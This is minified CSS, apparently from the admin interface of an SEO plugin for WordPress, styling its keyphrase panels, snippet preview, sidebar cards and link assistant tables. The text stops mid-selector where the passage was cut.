.aioseo-editor-single .ql-editor{padding:7px 10px 7px 55px}[dir=ltr] .aioseo-post-general .snippet-description-row .aioseo-editor .ql-editor{padding:15px 55px 15px 15px}[dir=rtl] .aioseo-post-general .snippet-description-row .aioseo-editor .ql-editor{padding:15px 15px 15px 55px}.aioseo-card.aioseo-sidebar-card .header{height:46px}.aioseo-card.aioseo-sidebar-card .header:hover{cursor:pointer}.aioseo-card.aioseo-sidebar-card ul,.aioseo-card.aioseo-sidebar-card ul li{margin-bottom:0}[dir=ltr] .aioseo-card.aioseo-sidebar-card ul li{padding-left:24px}[dir=rtl] .aioseo-card.aioseo-sidebar-card ul li{padding-right:24px}.aioseo-card.aioseo-sidebar-card ul li+li{margin-top:12px}.aioseo-card.aioseo-sidebar-card ul .description{margin-bottom:0}.aioseo-focus-keyphrase-panel .add-focus-keyphrase-metabox-button{display:flex}.aioseo-focus-keyphrase-panel .add-focus-keyphrase-sidebar-button .add-keyphrase{margin-bottom:0!important}.aioseo-focus-keyphrase-panel .add-focus-keyphrase-sidebar-button .aioseo-tooltip{display:block}[dir=ltr] .aioseo-focus-keyphrase-panel .add-focus-keyphrase-sidebar-button .aioseo-tooltip{margin-left:0}[dir=rtl] .aioseo-focus-keyphrase-panel .add-focus-keyphrase-sidebar-button .aioseo-tooltip{margin-right:0}.aioseo-focus-keyphrase-panel .add-focus-keyphrase-sidebar-button .aioseo-tooltip .disabled-button{display:flex}.aioseo-focus-keyphrase-panel-modal .modal-body{max-height:calc(90vh - 70px);overflow:auto}.aioseo-focus-keyphrase-panel-modal .modal-body .aioseo-modal-content .aioseo-alert{margin-bottom:20px}.aioseo-focus-keyphrase-panel-modal .semrush-country-selector{max-width:350px}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table{width:100%;border:1px solid #D0D1D7;border-radius:3px}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-volume,.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-trend{text-align:center}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions>div{display:flex;align-items:center;justify-content:flex-end}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .focus-keyphrase{display:flex;align-items:center;justify-content:flex-end;color:#00aa63;min-width:135px}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .focus-keyphrase svg{width:16px;height:16px;color:#00aa63}[dir=ltr] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .focus-keyphrase svg{margin-right:5px}[dir=rtl] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .focus-keyphrase svg{margin-left:5px}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .keyphrase-score{border-radius:3px;padding:5px;font-weight:700;font-size:13px;cursor:pointer;border:1px solid #005AE0}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .keyphrase-score.score-green{color:#00aa63;border-color:#00aa63}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .keyphrase-score.score-orange{color:#f18200;border-color:#f18200}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .keyphrase-score.score-red{color:#df2a4a;border-color:#df2a4a}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .keyphrase-score:hover{background-color:#005ae0;color:#fff}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .keyphrase-score:hover.score-green{background-color:#00aa63}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .keyphrase-score:hover.score-orange{background-color:#f18200}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .keyphrase-score:hover.score-red{background-color:#df2a4a}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .remove-keyphrase{display:flex;align-items:center;justify-content:flex-end}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .remove-keyphrase svg{width:16px;height:16px;cursor:pointer}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrase-actions .remove-keyphrase svg:hover{color:#df2a4a}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-header{height:50px;font-size:14px}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-header th{border-bottom:1px solid #D0D1D7;padding:15px}[dir=ltr] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-header th:first-of-type{padding-left:30px}[dir=rtl] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-header th:first-of-type{padding-right:30px}[dir=ltr] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-header th:last-of-type{padding-right:30px}[dir=rtl] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-header th:last-of-type{padding-left:30px}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows{font-size:14px}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row{background-color:#fff;height:70px}[dir=ltr] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row:last-of-type td:first-of-type{border-radius:0 0 0 3px}[dir=rtl] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row:last-of-type td:first-of-type{border-radius:0 0 3px}[dir=ltr] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row:last-of-type td:last-of-type{border-radius:0 0 3px}[dir=rtl] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row:last-of-type td:last-of-type{border-radius:0 0 0 3px}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row.even{background-color:#f9f9fa}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row td{padding:15px}[dir=ltr] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row td:first-of-type{padding-left:30px}[dir=rtl] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row td:first-of-type{padding-right:30px}[dir=ltr] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row td:last-of-type{padding-right:30px}[dir=rtl] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row td:last-of-type{padding-left:30px}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row td.no-results>*{display:flex;align-items:center;justify-content:center}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row td.no-results .semrush-logo{min-width:150px}[dir=ltr] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row td.no-results .semrush-logo{padding:0 30px 0 0}[dir=rtl] .aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row td.no-results .semrush-logo{padding:0 0 0 30px}.aioseo-focus-keyphrase-panel-modal .additional-keyphrases-table .keyphrases-rows tr.keyphrase-row.loading{display:flex;align-items:center;justify-content:center}.aioseo-app .aioseo-post-general .page-analysis-panel .aioseo-alert{margin-bottom:12px}.aioseo-app .aioseo-post-general .page-analysis-panel .aioseo-tabs{background:#fff}.aioseo-app .aioseo-post-general .page-analysis-panel .aioseo-tabs .var-tab{display:flex;font-weight:700}.cornerstone-content-panel .cornerstone-content-text>a{padding-inline:4px}.cornerstone-content-panel .aioseo-alert.inline-upsell{order:2}.aioseo-sidebar-card .cornerstone-content-panel .aioseo-alert.inline-upsell{margin-top:10px}.aioseo-post-general .aioseo-tooltip{line-height:normal;vertical-align:middle}.aioseo-post-general .aioseo-tooltip :has(.aioseo-circle-question-mark){display:inline-flex}.aioseo-post-general svg.aioseo-circle-question-mark{width:17px;height:17px;color:#8c8f9a;transition:background-color .2s ease}.aioseo-post-general svg.aioseo-circle-question-mark:hover{color:#5a5c66}.aioseo-post-general svg.aioseo-pencil{width:12px;height:12px;color:#434960}.aioseo-post-general .edit-snippet,.aioseo-post-general .add-keyphrase{margin-top:12px;border:1px solid #DCDDE1}[dir=ltr] .aioseo-post-general .edit-snippet svg,[dir=ltr] .aioseo-post-general .add-keyphrase svg{margin-right:11px}[dir=rtl] .aioseo-post-general .edit-snippet svg,[dir=rtl] .aioseo-post-general .add-keyphrase svg{margin-left:11px}.aioseo-post-general .disabled-button{margin-top:12px;border:1px solid #dcdde1;color:#8c8f9a;background-color:#f3f4f5;cursor:default;height:40px;font-size:14px;padding:0 12px;flex-shrink:0;line-height:1;display:inline-flex;align-items:center;justify-content:center;font-weight:600;border-radius:4px;-moz-appearance:none;appearance:none;-webkit-appearance:none;transition:background-color .2s ease;position:relative;overflow:hidden;text-decoration:none;white-space:nowrap}[dir=ltr] .aioseo-post-general .disabled-button svg{margin-right:11px}[dir=rtl] .aioseo-post-general .disabled-button svg{margin-left:11px}.aioseo-post-general .aioseo-keyphrase-tag{display:inline-block;margin-bottom:4px;border-radius:3px;font-size:14px;font-weight:600}[dir=ltr] .aioseo-post-general .aioseo-keyphrase-tag{margin-right:10px}[dir=rtl] .aioseo-post-general .aioseo-keyphrase-tag{margin-left:10px}.aioseo-post-general .aioseo-keyphrase-tag.selected{position:relative}.aioseo-post-general .aioseo-keyphrase-tag.selected:before,.aioseo-post-general .aioseo-keyphrase-tag.selected:after{content:"";position:absolute;display:block;z-index:10;bottom:-17px;border-style:solid}.aioseo-post-general .aioseo-keyphrase-tag.selected:before{border-width:0 10px 10px 10px;border-color:transparent transparent #E8E8EB transparent}[dir=ltr] .aioseo-post-general .aioseo-keyphrase-tag.selected:before{left:calc(50% - 6px)}[dir=rtl] .aioseo-post-general .aioseo-keyphrase-tag.selected:before{right:calc(50% - 6px)}.aioseo-post-general .aioseo-keyphrase-tag.selected:after{border-width:0 8px 8px 8px;border-color:transparent transparent #fff transparent}[dir=ltr] .aioseo-post-general .aioseo-keyphrase-tag.selected:after{left:calc(50% - 4px)}[dir=rtl] .aioseo-post-general .aioseo-keyphrase-tag.selected:after{right:calc(50% - 4px)}.aioseo-post-general .aioseo-keyphrase-tag .aioseo-add-keyphrase-tag{display:block;padding:9px 10px;border:1px solid #F3F4F5;border-radius:3px;background:#f3f4f5;cursor:pointer}.aioseo-post-general .aioseo-keyphrase-tag .aioseo-add-keyphrase-tag.hidden{opacity:0;height:0;padding:0}.aioseo-post-general .aioseo-keyphrase-tag .keyphrase-name{cursor:pointer}.aioseo-post-general .aioseo-keyphrase-tag .keyphrase-edit{opacity:0;margin:0 8px;cursor:pointer}.aioseo-post-general .aioseo-keyphrase-tag .keyphrase-edit svg.aioseo-pencil{width:12px;height:12px;color:#8c8f9a}.aioseo-post-general .aioseo-keyphrase-tag .keyphrase-score{cursor:pointer}.aioseo-post-general .aioseo-keyphrase-tag .keyphrase-score.score-green{color:#00aa63}.aioseo-post-general .aioseo-keyphrase-tag .keyphrase-score.score-orange{color:#f18200}.aioseo-post-general .aioseo-keyphrase-tag .keyphrase-score.score-red{color:#df2a4a}.aioseo-post-general .aioseo-keyphrase-tag .aioseo-edit-keyphrase-tag{position:relative}.aioseo-post-general .aioseo-keyphrase-tag .aioseo-edit-keyphrase-tag>input{width:100%;padding:8px 10px;border:1px solid #E8E8EB;border-radius:3px}.aioseo-post-general .aioseo-keyphrase-tag .aioseo-edit-keyphrase-tag .keyphrase-delete{position:absolute;top:2px;width:16px;height:16px;display:block;cursor:pointer}[dir=ltr] .aioseo-post-general .aioseo-keyphrase-tag .aioseo-edit-keyphrase-tag .keyphrase-delete{right:10px}[dir=rtl] .aioseo-post-general .aioseo-keyphrase-tag .aioseo-edit-keyphrase-tag .keyphrase-delete{left:10px}.aioseo-post-general .aioseo-keyphrase-tag .aioseo-edit-keyphrase-tag .keyphrase-delete:hover{color:#df2a4a}.aioseo-post-general .aioseo-keyphrase-tag:hover .keyphrase-edit{opacity:1}.aioseo-post-general .aioseo-analysis-detail{margin:16px 0}.aioseo-post-general .aioseo-analysis-detail:last-child{margin-bottom:0}[dir=ltr] .aioseo-post-general .aioseo-analysis-detail+.aioseo-tooltip{margin-left:0}[dir=rtl] .aioseo-post-general .aioseo-analysis-detail+.aioseo-tooltip{margin-right:0}.aioseo-post-general .aioseo-analysis-detail+.aioseo-tooltip .add-keyphrase{margin-top:4px}.aioseo-post-general .analysis-wrapper{border-top:1px solid #E8E8EB}.aioseo-post-general .analysis-loading{position:relative;margin-top:16px}.aioseo-post-general .meta-keywords-alert{margin-bottom:20px}.aioseo-modal-content .aioseo-post-general .snippet-description-row{border:none;margin-bottom:0!important;padding-bottom:0!important}.aioseo-post-general .snippet-preview-row .aioseo-google-search-preview{border:1px solid #D0D1D7;border-radius:3px;padding:10px;max-width:610px}.aioseo-post-general .snippet-preview-row .aioseo-google-search-preview--mobile{max-width:375px}.aioseo-post-general .snippet-preview-row .settings-name .name{align-items:start;flex-direction:column;gap:12px;white-space:nowrap}.aioseo-modal-content .aioseo-post-general .snippet-preview-row .settings-name .name{align-items:center;display:grid;grid-template-columns:auto 1fr;justify-items:end}.aioseo-post-general .snippet-preview-row .settings-name .name .aioseo-radio-toggle{gap:10px}.aioseo-post-general .snippet-preview-row .settings-name .name .popper{max-width:260px}.edit-post-sidebar .aioseo-post-general .snippet-preview-row{padding-bottom:0!important;border-bottom:none}.aioseo-post-general .cornerstone-content-row .cornerstone-content-panel{display:flex;flex-flow:column}.aioseo-post-general .cornerstone-content-row .cornerstone-content-panel p{order:2}.aioseo-post-general .aioseo-alert{margin-bottom:5px}.aioseo-post-general .aioseo-alert.inline-upsell{margin-top:10px}.edit-post-sidebar .aioseo-button.edit-snippet{display:inline-flex}.edit-post-sidebar .snippet-focus-keyphrases-row{border-bottom:none;margin-bottom:0!important}.edit-post-sidebar .card-focus-keyphrase,.edit-post-sidebar .card-additional-keyphrase,.edit-post-sidebar .card-basic-seo,.edit-post-sidebar .card-title-seo,.edit-post-sidebar .card-readability-seo,.edit-post-sidebar .card-cornerstone-content{margin:0 -1rem;box-shadow:none;border:none;border-top:1px solid #E8E8EB}.edit-post-sidebar .card-focus-keyphrase .header,.edit-post-sidebar .card-additional-keyphrase .header,.edit-post-sidebar .card-basic-seo .header,.edit-post-sidebar .card-title-seo .header,.edit-post-sidebar .card-readability-seo .header,.edit-post-sidebar .card-cornerstone-content .header{padding:1rem;border-bottom:none;font-size:14px;font-weight:600}.edit-post-sidebar .card-focus-keyphrase .content,.edit-post-sidebar .card-additional-keyphrase .content,.edit-post-sidebar .card-basic-seo .content,.edit-post-sidebar .card-title-seo .content,.edit-post-sidebar .card-readability-seo .content,.edit-post-sidebar .card-cornerstone-content .content{padding:16px;font-size:14px;border-top:1px solid #E8E8EB}.edit-post-sidebar .card-focus-keyphrase .aioseo-analysis-detail:last-of-type,.edit-post-sidebar .card-additional-keyphrase .aioseo-analysis-detail:last-of-type,.edit-post-sidebar .card-basic-seo .aioseo-analysis-detail:last-of-type,.edit-post-sidebar .card-title-seo .aioseo-analysis-detail:last-of-type,.edit-post-sidebar .card-readability-seo .aioseo-analysis-detail:last-of-type,.edit-post-sidebar .card-cornerstone-content .aioseo-analysis-detail:last-of-type{margin-bottom:0}.edit-post-sidebar .card-focus-keyphrase .aioseo-analysis-detail:last-of-type .title,.edit-post-sidebar .card-additional-keyphrase .aioseo-analysis-detail:last-of-type .title,.edit-post-sidebar .card-basic-seo .aioseo-analysis-detail:last-of-type .title,.edit-post-sidebar .card-title-seo .aioseo-analysis-detail:last-of-type .title,.edit-post-sidebar .card-readability-seo .aioseo-analysis-detail:last-of-type .title,.edit-post-sidebar .card-cornerstone-content .aioseo-analysis-detail:last-of-type .title{margin-bottom:0}.edit-post-sidebar .card-focus-keyphrase .aioseo-analysis-detail{margin:16px 0!important}.edit-post-sidebar .card-focus-keyphrase .aioseo-analysis-detail:empty{margin:16px}.edit-post-sidebar .card-focus-keyphrase .add-keyphrase{width:100%;font-size:14px}.edit-post-sidebar .card-focus-keyphrase .aioseo-analysis-detail,.edit-post-sidebar .card-additional-keyphrase .aioseo-analysis-detail{margin:0 0 16px!important}.edit-post-sidebar .card-focus-keyphrase .add-keyphrase,.edit-post-sidebar .card-additional-keyphrase .add-keyphrase{width:100%}.edit-post-sidebar .card-readability-seo{border-bottom:1px solid #E8E8EB}.edit-post-sidebar .card-readability-seo .aioseo-toggle{margin-bottom:14px}.edit-post-sidebar .aioseo-keyphrase-tag{display:block;margin-bottom:16px}[dir=ltr] .edit-post-sidebar .aioseo-keyphrase-tag{margin-right:0}[dir=rtl] .edit-post-sidebar .aioseo-keyphrase-tag{margin-left:0}.edit-post-sidebar .aioseo-keyphrase-tag:after{content:none!important}.edit-post-sidebar .aioseo-keyphrase-tag.selected{border:2px solid #E8E8EB}.edit-post-sidebar .aioseo-keyphrase-tag.selected:before,.edit-post-sidebar .aioseo-keyphrase-tag.selected:after{content:none}.edit-post-sidebar .aioseo-keyphrase-tag .aioseo-add-keyphrase-tag{display:flex;width:100%;align-items:center}.edit-post-sidebar .aioseo-keyphrase-tag .aioseo-add-keyphrase-tag .keyphrase-score{flex:1}[dir=ltr] .edit-post-sidebar .aioseo-keyphrase-tag .aioseo-add-keyphrase-tag .keyphrase-score{text-align:right}[dir=rtl] .edit-post-sidebar .aioseo-keyphrase-tag .aioseo-add-keyphrase-tag .keyphrase-score{text-align:left}.edit-post-sidebar .card-basic-seo .aioseo-analysis-detail,.edit-post-sidebar .card-title-seo .aioseo-analysis-detail,.edit-post-sidebar .card-readability-seo .aioseo-analysis-detail{margin-top:0}.edit-post-sidebar .analysis-wrapper{border-top:none}.aioseo-modal-content .aioseo-settings-row{--aioseo-gutter: 10px;row-gap:12px}.aioseo-modal-content .aioseo-settings-row .settings-name .name{margin:0}.aioseo-modal-content>.aioseo-settings-row{border:none;margin-bottom:0!important}.aioseo-modal-content .snippet-title-row,.aioseo-modal-content .snippet-description-row{position:relative;display:block}.aioseo-modal-content .snippet-title-row .settings-name,.aioseo-modal-content .snippet-description-row .settings-name{margin-bottom:8px}.aioseo-modal-content .snippet-title-row .aioseo-description,.aioseo-modal-content .snippet-description-row .aioseo-description{display:none}@media screen and (max-width: 520px){.aioseo-modal-content .snippet-title-row .add-tags .aioseo-add-template-tag,.aioseo-modal-content .snippet-description-row .add-tags .aioseo-add-template-tag{display:none}}.aioseo-modal-content .snippet-title-row{margin-top:12px}.aioseo-modal-content .snippet-pillar-row{display:none}.aioseo-modal-content .component-wrapper .aioseo-tabs .var-tab:not(.var-tab--active){min-width:72px!important;margin:0!important}.aioseo-modal-content .component-wrapper .aioseo-tabs .var-tab:hover{background-color:#e2e3e6}.aioseo-modal-content .component-wrapper .aioseo-tabs .var-tab:before{border-radius:100%!important;display:none}.aioseo-modal-content .component-wrapper .aioseo-tabs .var-tab .tab-label{display:inline!important}.aioseo-link-assistant-sidebar{padding:20px 16px}.aioseo-link-assistant-sidebar .open-link-assistant-modal{margin-top:12px;border:1px solid #DCDDE1;align-items:center}.aioseo-link-assistant-sidebar .open-link-assistant-modal svg{width:10px;height:10px}[dir=ltr] .aioseo-link-assistant-sidebar .open-link-assistant-modal svg{margin-right:8px}[dir=rtl] .aioseo-link-assistant-sidebar .open-link-assistant-modal svg{margin-left:8px}.aioseo-link-assistant-sidebar .open-link-assistant-copy>.col-md-3{display:none}.aioseo-link-assistant-confirmation-modal .modal-container{max-width:650px!important}.aioseo-link-assistant-confirmation-modal .aioseo-modal-body{padding:20px 40px 40px;display:flex;align-items:center!important;justify-content:center;flex-direction:column;position:relative}.aioseo-link-assistant-confirmation-modal .aioseo-button:not(.close){margin-top:16px}.aioseo-link-assistant-confirmation-modal h3{font-size:20px;margin-bottom:16px;text-align:center}.aioseo-link-assistant-confirmation-modal .reset-description{font-size:16px;color:#141b38;margin-bottom:16px;text-align:center;max-width:515px}.aioseo-link-assistant-confirmation-modal button.close{position:absolute;top:11px;width:24px;height:24px;background-color:#fff;border:none;display:flex;align-items:center}[dir=ltr] .aioseo-link-assistant-confirmation-modal button.close{right:11px}[dir=rtl] .aioseo-link-assistant-confirmation-modal button.close{left:11px}.aioseo-link-assistant-confirmation-modal button.close svg.aioseo-close{cursor:pointer;width:14px;height:14px}.aioseo-link-assistant-confirmation-modal .aioseo-description{max-width:510px;text-align:center}.aioseo-app .aioseo-link-assistant-phrase .aioseo-tooltip{display:inline;margin:0;font-size:0px;line-height:22px}.aioseo-app .aioseo-link-assistant-phrase .aioseo-tooltip span{font-size:14px;white-space:pre-wrap}.aioseo-app .aioseo-link-assistant-phrase .aioseo-tooltip .anchor{text-decoration:underline;color:#005ae0;white-space:pre-wrap}.aioseo-app .aioseo-link-assistant-phrase .aioseo-tooltip .anchor:hover{cursor:pointer}.aioseo-app .aioseo-link-assistant-phrase .aioseo-tooltip a.tooltip-url{text-decoration:underline;color:#fff}.aioseo-app .aioseo-link-assistant-phrase .aioseo-tooltip a.tooltip-url:hover{text-decoration:none}[dir=ltr] .aioseo-app .aioseo-link-assistant-phrase .icons{margin-left:10px}[dir=rtl] .aioseo-app .aioseo-link-assistant-phrase .icons{margin-right:10px}.aioseo-link-assistant,.aioseo-modal.aioseo-link-assistant-modal{padding:0!important}.aioseo-link-assistant .link-assistant-inner-table,.aioseo-modal.aioseo-link-assistant-modal .link-assistant-inner-table{padding-inline:16px}.aioseo-link-assistant .aioseo-wp-table tbody th.check-column,.aioseo-link-assistant .aioseo-wp-table tbody td,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table tbody th.check-column,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table tbody td{font-size:14px}.aioseo-link-assistant .aioseo-wp-table tbody .date,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table tbody .date{font-size:13px}.aioseo-link-assistant .aioseo-wp-table tr.edit-row .edit-row-content,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table tr.edit-row .edit-row-content,.aioseo-link-assistant .aioseo-wp-table tr.edit-row .edit-row-content .wrapper .border,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table tr.edit-row .edit-row-content .wrapper .border{padding:0}.aioseo-link-assistant .aioseo-wp-table .aioseo-wp-table-header,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table .aioseo-wp-table-header{row-gap:16px}.aioseo-link-assistant .aioseo-wp-table .tablenav.top,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table .tablenav.top{margin-bottom:16px}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table button.toggle-row-button{display:flex;width:30px;height:26px;padding:0;justify-content:center;align-items:center;background-color:#fff;border:1px solid #DCDDE1;border-radius:3px}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button:hover,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table button.toggle-row-button:hover{cursor:pointer;background-color:#f9f9fa}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button.active,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table button.toggle-row-button.active{background-color:#005ae0;border:1px solid #005AE0}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button.active:hover,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table button.toggle-row-button.active:hover{background-color:#1a82ea}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button.active svg.aioseo-caret,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table button.toggle-row-button.active svg.aioseo-caret{color:#fff}[dir=ltr] .aioseo-link-assistant .aioseo-wp-table button.toggle-row-button.active svg.aioseo-caret,[dir=ltr] .aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table button.toggle-row-button.active svg.aioseo-caret{transform:rotate(-180deg)}[dir=rtl] .aioseo-link-assistant .aioseo-wp-table button.toggle-row-button.active svg.aioseo-caret,[dir=rtl] .aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table button.toggle-row-button.active svg.aioseo-caret{transform:rotate(180deg)}.aioseo-link-assistant .aioseo-wp-table button.toggle-row-button svg.aioseo-caret,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table button.toggle-row-button svg.aioseo-caret{margin:0;height:20px;width:20px;color:#8c8f9a;transition:transform .3s}[dir=ltr] .aioseo-link-assistant .aioseo-wp-table button.toggle-row-button svg.aioseo-caret,[dir=ltr] .aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table button.toggle-row-button svg.aioseo-caret{transform:rotate(-90deg)}[dir=rtl] .aioseo-link-assistant .aioseo-wp-table button.toggle-row-button svg.aioseo-caret,[dir=rtl] .aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table button.toggle-row-button svg.aioseo-caret{transform:rotate(90deg)}.aioseo-link-assistant .aioseo-wp-table .row-actions a,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table .row-actions a{font-size:13px;line-height:150%}.aioseo-link-assistant .aioseo-wp-table .row-actions a.delete-all-links,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table .row-actions a.delete-all-links{color:#df2a4a}[dir=ltr] .aioseo-link-assistant .aioseo-wp-table svg,[dir=ltr] .aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table svg{margin-right:11.22px}[dir=rtl] .aioseo-link-assistant .aioseo-wp-table svg,[dir=rtl] .aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table svg{margin-left:11.22px}.aioseo-link-assistant .aioseo-wp-table svg.aioseo-link-external,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table svg.aioseo-link-external{color:#005ae0;width:10.5px;height:10.5px}.aioseo-link-assistant .aioseo-wp-table svg.aioseo-new-page,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table svg.aioseo-new-page{color:#434960;width:9.33px;height:11.67px}.aioseo-link-assistant .aioseo-tooltip .popper.action a.tooltip-url,.aioseo-modal.aioseo-link-assistant-modal .aioseo-tooltip .popper.action a.tooltip-url{white-space:normal!important}.aioseo-link-assistant .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody .aioseo-tooltip,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody .aioseo-tooltip{display:inline-block}[dir=ltr] .aioseo-link-assistant .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody .aioseo-tooltip,[dir=ltr] .aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody .aioseo-tooltip{margin-left:0}[dir=rtl] .aioseo-link-assistant .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody .aioseo-tooltip,[dir=rtl] .aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody .aioseo-tooltip{margin-right:0}.aioseo-link-assistant .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody svg.aioseo-trash,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody svg.aioseo-trash{width:18px;height:22px;color:#8c8f9a;cursor:pointer;transition:color .1s ease;margin-top:2px}.aioseo-link-assistant .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody svg.aioseo-trash:hover,.aioseo-modal.aioseo-link-assistant-modal .aioseo-wp-table.link-assistant-inner-table .wp-table table tbody svg.aioseo-trash:hover{color:#df2a4a}.aioseo-link-assistant .aioseo-tabs.link-tabs,.aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs{border-bottom:1px solid #E8E8EB;background-color:#fff}[dir=ltr] .aioseo-link-assistant .aioseo-tabs.link-tabs .aioseo-mobile-tabs,[dir=ltr] .aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs .aioseo-mobile-tabs{margin-left:10px}[dir=rtl] .aioseo-link-assistant .aioseo-tabs.link-tabs .aioseo-mobile-tabs,[dir=rtl] .aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs .aioseo-mobile-tabs{margin-right:10px}.aioseo-link-assistant .aioseo-tabs.link-tabs .var-tab,.aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs .var-tab{display:flex;align-items:center;column-gap:11.75px}.aioseo-link-assistant .aioseo-tabs.link-tabs svg,.aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs svg{width:11px;height:11px;margin-top:3px}[dir=ltr] .aioseo-link-assistant .aioseo-tabs.link-tabs svg,[dir=ltr] .aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs svg{margin-right:0}[dir=rtl] .aioseo-link-assistant .aioseo-tabs.link-tabs svg,[dir=rtl] .aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs svg{margin-left:0}.aioseo-link-assistant .aioseo-tabs.link-tabs svg.aioseo-link-internal-inbound,.aioseo-link-assistant .aioseo-tabs.link-tabs svg.aioseo-link-internal-outbound,.aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs svg.aioseo-link-internal-inbound,.aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs svg.aioseo-link-internal-outbound{color:#00aa63}.aioseo-link-assistant .aioseo-tabs.link-tabs svg.aioseo-link-external,.aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs svg.aioseo-link-external{color:#005ae0}.aioseo-link-assistant .aioseo-tabs.link-tabs 